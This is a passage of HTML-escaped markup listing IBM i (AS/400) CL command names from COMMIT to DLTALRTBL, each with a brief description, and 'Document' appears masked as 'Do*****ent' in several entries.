Writer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCOMMIT Commit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCOPY Copy Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCOPYRIGHT Copyright\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPROBJ Compress Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPY Copy Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYCFGL Copy Configuration List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYDOC Copy Do*****ent\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYF Copy File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYFCNARA Copy Functional Area\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYFRMDIR Copy From Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYFRMDKT Copy From Diskette\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYFRMPCD Copy From PC Do*****ent\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYFRMQRYF Copy From Query File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYFRMSTMF Copy From Stream File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYFRMTAP Copy From Tape\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYGPHFMT Copy Graph Format\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYGPHPKG Copy Graph Package\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYJOBJS Copy Job using Job Scheduler\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYLIB Copy Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYOPT Copy Optical\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYPFRDTA Copy Performance Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYPTF Copy Program Temporary Fix\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYSPLF Copy Spooled File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYSRCF Copy Source File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYTODIR Copy To Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYTODKT Copy To Diskette\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYTOPCD Copy To PC Do*****ent\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYTOSTMF Copy To Stream File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCPYTOTAP Copy To Tape\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTALRTBL Create Alert Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTAUTHLR Create Authority Holder\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTAUTL Create Authorization List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTBESTMDL Create BEST/1 Model\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTBNDCBL Create Bound COBOL Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTBNDCL Create Bound CL Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTBNDDIR Create Binding Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTBNDRPG Create Bound RPG Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCBLMOD Create COBOL Module\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCBLPGM Create COBOL Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCFGL Create Configuration List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCLD Create C Locale Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCLMOD Create CL Module\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCLPGM Create CL Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCLS Create Class\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCMD Create Command\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCNNL Create Connection List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCOSD Create Class-of-Service Desc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCRQD Create CRQ Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCSI Create Comm Side Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCTLAPPC Create Ctl Desc (APPC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCTLASC Create Ctl Desc (Async)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCTLBSC Create Ctl Desc (BSC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCTLFNC Create Ctl Desc (Finance)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCTLHOST Create Ctl Desc (SNA Host)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCTLLWS Create Ctl Desc (Local WS)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCTLNET Create Ctl Desc (Network)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCTLRTL Create Ctl Desc (Retail)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCTLRWS Create Ctl Desc (Remote WS)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCTLTAP Create Ctl Desc (Tape)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTCTLVWS Create Ctl Desc (Virtual WS)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDDMF Create DDM File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVAPPC Create Device Desc (APPC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVASC Create Device Desc (Async)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVBSC Create Device Desc (BSC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVDKT Create Device Desc (Diskette)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVDSP Create Device Desc (Display)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVFNC Create Device Desc (Finance)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVHOST Create Device Desc (SNA Host)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVINTR Create Device Desc (Intra)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVMLB Create Device Desc (Media Lib)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVNET Create Device Desc (Network)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVOPT Create Device Desc (Optical)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVPRT Create Device Desc (Printer)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVRTL Create Device Desc (Retail)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVSNPT Create Device Desc (SNPT)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVSNUF Create Device Desc (SNUF)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDEVTAP Create Device Desc (Tape)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDFUDSPF Create DFU Display File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDIR Create Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDKTF Create Diskette File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDOC Create Do*****ent\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDSPF Create Display File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDSTL Create Distribution List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDTAARA Create Data Area\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDTADCT Create Data Dictionary\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDTAQ Create Data Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTDUPOBJ Create Duplicate Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTEDTD Create Edit Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTFCNARA Create Functional Area\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTFCT Create Forms Control Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTFLR Create Folder\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTFNTRSC Create Font Resource\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTFORMDF Create Form Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTFTR Create Filter\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTGPHFMT Create Graph Format\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTGPHPKG Create Graph Package\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTGSS Create Graphics Symbol Set\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTHSTDTA Create Historical Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTICFF Create ICF File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTIPXD Create IPX Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTJOBD Create Job Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTJOBQ Create Job Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTJRN Create Journal\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTJRNRCV Create Journal Receiver\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLF Create Logical File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLIB Create Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLINASC Create Line Desc (Async)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLINBSC Create Line Desc (BSC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLINDDI Create Line Desc (DDI)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLINETH Create Line Desc (Ethernet)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLINFAX Create Line Desc (Fax)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLINFR Create Line Desc (Frame Relay)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLINIDLC Create Line Desc (IDLC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLINNET Create Line Desc (Network)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLINSDLC Create Line Desc (SDLC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLINTDLC Create Line Desc (TDLC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLINTRN Create Line Desc (Token-Ring)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLINWLS Create Line Desc (Wireless)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLINX25 Create Line Desc (X.25)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTLOCALE Create Locale\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTM36CFG Create Machine Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTMNU Create Menu\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTMODD Create Mode Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTMSGF Create Message File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTMSGFMNU Create Menu from Msg Files\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTMSGQ Create Message Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTNODGRP Create Node Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTNODL Create Node List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTNTBD Create NetBIOS Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTNWIATM Create NWI ATM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTNWIFR Create Network Interface (FR)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTNWIISDN Create Network Interface ISDN\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTNWSALS Create Network Server Alias\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTNWSD Create Network Server Desc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTNWSSTG Create NWS Storage Space\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTOUTQ Create Output Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTOVL Create Overlay\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTPAGDFN Create Page Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTPAGSEG Create Page Segment\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTPDG Create Print Descriptor Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTPF Create Physical File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTPGM Create Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTPNLGRP Create Panel Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTPRTF Create Printer File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTPSFCFG Create PSF Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTQMFORM Create Query Management Form\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTQMQRY Create Query Management Query\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTQSTDB Create Q/A Database\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTQSTLOD Create Q/A Database Load\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTRJEBSCF Create RJE BSC File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTRJECFG Create RJE Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTRJECMNF Create RJE Communication File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTRPGMOD Create RPG Module\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTRPGPGM Create RPG/400 Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTRPTPGM Create Auto Report RPG Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTS36CBL Create S/36 COBOL Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTS36DSPF Create S/36 Display File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTS36MNU Create S/36 Menu\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTS36MSGF Create S/36 Message File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTS36RPG Create RPG II Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTS36RPGR Create Console Display File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTS36RPT Create S/36 RPG II Auto Report\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSAVF Create Save File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSBSD Create Subsystem Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSCHIDX Create Search Index\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSPADCT Create Spelling Aid Dictionary\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSQLC Create SQL C Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSQLCBL Create SQL COBOL Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSQLCBLI Create SQL ILE COBOL Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSQLCI Create SQL ILE C object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSQLFTN Create SQL FORTRAN Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSQLPKG Create SQL Package\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSQLPLI Create SQL PL/I Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSQLRPG Create SQL RPG Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSQLRPGI Create SQL ILE RPG Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSRCPF Create Source Physical File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSRVPGM Create Service Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTSSND Create Session Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTTAPCGY Create Tape Category\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTTAPF Create Tape File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTTBL Create Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTUDFS Create User-Defined FS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTUSRPRF Create User Profile\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTVLDL Create Validation List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCRTWSCST Create WSCST\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTBASSTR Convert S/36 Stream File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTBASUNF Convert S/36 Unformatted File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTBGUDTA Convert BGU Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTCLSRC Convert CL Source\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTDAT Convert Date\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTDLSNAM Convert DLS Name\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTEDU Convert Education\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTIPSIFC Convert IP Address\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTIPSLOC Convert Network ID / Location\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTNAMSMTP Convert SMTP Names\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTOPTBKU Convert Optical Backup\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTPFRDTA Convert Performance Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTRJEDTA Convert RJE Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTRPGSRC Convert RPG Source\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTS36CFG Convert S/36 Configuration\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTS36FCT Convert Forms Control Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTS36JOB Convert S/36 Migration Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTS36QRY Convert S/36 Query\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTS38JOB Convert S/38 Migration Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTTCPCL Convert TCP/IP CL Source\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCVTTOFLR Convert To Folder\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDATA Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDCL Declare CL Variable\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDCLF Declare File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDCPOBJ Decompress Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDEL Remove Link\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDEP Dependent Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLCOBJ Deallocate Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTALR Delete Alert\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDLTALRTBL Delete Alert 